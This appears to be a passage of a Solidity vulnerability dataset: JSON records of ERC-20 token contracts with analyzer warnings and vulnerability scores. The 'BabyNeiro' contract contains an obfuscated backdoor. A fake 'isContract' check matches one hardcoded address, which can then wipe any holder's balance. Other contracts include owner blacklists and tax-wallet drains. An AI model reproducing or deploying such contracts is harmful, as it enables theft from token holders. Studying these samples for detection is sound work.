uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 29f6e77\n\t\t\t\t// reentrancy-eth | ID: 1f3c2d4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 29f6e77\n\t\t\t\t\t// reentrancy-eth | ID: 1f3c2d4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1f3c2d4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1f3c2d4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1f3c2d4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 29f6e77\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1f3c2d4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1f3c2d4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 29f6e77\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a29a38b\n\t\t// reentrancy-events | ID: 29f6e77\n\t\t// reentrancy-benign | ID: 53c20a3\n\t\t// reentrancy-eth | ID: 1f3c2d4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 54a86d3): don.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 54a86d3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a29a38b\n\t\t// reentrancy-events | ID: 29f6e77\n\t\t// reentrancy-eth | ID: 1f3c2d4\n\t\t// arbitrary-send-eth | ID: 54a86d3\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3a9f019): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3a9f019: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4e05a79): don.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4e05a79: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ed19391): don.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ed19391: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d222448): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d222448: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3a9f019\n\t\t// reentrancy-eth | ID: d222448\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3a9f019\n\t\t// unused-return | ID: 4e05a79\n\t\t// reentrancy-eth | ID: d222448\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3a9f019\n\t\t// unused-return | ID: ed19391\n\t\t// reentrancy-eth | ID: d222448\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3a9f019\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d222448\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10346.sol", "size_bytes": 20121, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TeslaModelQ is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f15afc): TeslaModelQ._taxWallet should be immutable \n\t// Recommendation for 5f15afc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Tesla Model Q\";\n\n string private constant _symbol = unicode\"Q\";\n\n\t// WARNING Optimization Issue (constable-states | ID: b0d1950): TeslaModelQ._initialBuyTax should be constant \n\t// Recommendation for b0d1950: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08dd75d): TeslaModelQ._initialSellTax should be constant \n\t// Recommendation for 08dd75d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ac7b2c): TeslaModelQ._finalBuyTax should be constant \n\t// Recommendation for 1ac7b2c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6968b0): TeslaModelQ._finalSellTax should be constant \n\t// Recommendation for d6968b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8886381): TeslaModelQ._reduceBuyTaxAt should be constant \n\t// Recommendation for 8886381: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2f16c4): TeslaModelQ._reduceSellTaxAt should be constant \n\t// Recommendation for f2f16c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c24fa1): TeslaModelQ._preventSwapBefore should be constant \n\t// Recommendation for 2c24fa1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f7a22a): TeslaModelQ._transferTax should be constant \n\t// Recommendation for 8f7a22a: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10570ac): TeslaModelQ._taxSwapThreshold should be constant \n\t// Recommendation for 10570ac: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f7c1e6): TeslaModelQ._maxTaxSwap should be constant \n\t// Recommendation for 9f7c1e6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 84138000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fbc13e): TeslaModelQ.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fbc13e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 949c640): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 949c640: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8625953): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8625953: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 949c640\n\t\t// reentrancy-benign | ID: 8625953\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 949c640\n\t\t// reentrancy-benign | ID: 8625953\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b0083b4): TeslaModelQ._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b0083b4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8625953\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 949c640\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7294ba): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7294ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 533dbae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 533dbae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a7294ba\n\t\t\t\t// reentrancy-eth | ID: 533dbae\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a7294ba\n\t\t\t\t\t// reentrancy-eth | ID: 533dbae\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 533dbae\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 533dbae\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 533dbae\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a7294ba\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 533dbae\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 533dbae\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a7294ba\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a7294ba\n\t\t// reentrancy-events | ID: 949c640\n\t\t// reentrancy-benign | ID: 8625953\n\t\t// reentrancy-eth | ID: 533dbae\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f491ed1): TeslaModelQ.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f491ed1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a7294ba\n\t\t// reentrancy-events | ID: 949c640\n\t\t// reentrancy-eth | ID: 533dbae\n\t\t// arbitrary-send-eth | ID: f491ed1\n _taxWallet.transfer(amount);\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e9e44d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e9e44d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 808eae0): TeslaModelQ.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 808eae0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 057dfdd): TeslaModelQ.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 057dfdd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d815fae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d815fae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e9e44d8\n\t\t// reentrancy-eth | ID: d815fae\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e9e44d8\n\t\t// unused-return | ID: 808eae0\n\t\t// reentrancy-eth | ID: d815fae\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e9e44d8\n\t\t// unused-return | ID: 057dfdd\n\t\t// reentrancy-eth | ID: d815fae\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e9e44d8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d815fae\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10347.sol", "size_bytes": 20516, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BabyNeiro\", unicode\"BabyNeiro\", 9, 50000000) {}\n}\n", "file_name": "solidity_code_10348.sol", "size_bytes": 7300, "vulnerability": 4 }
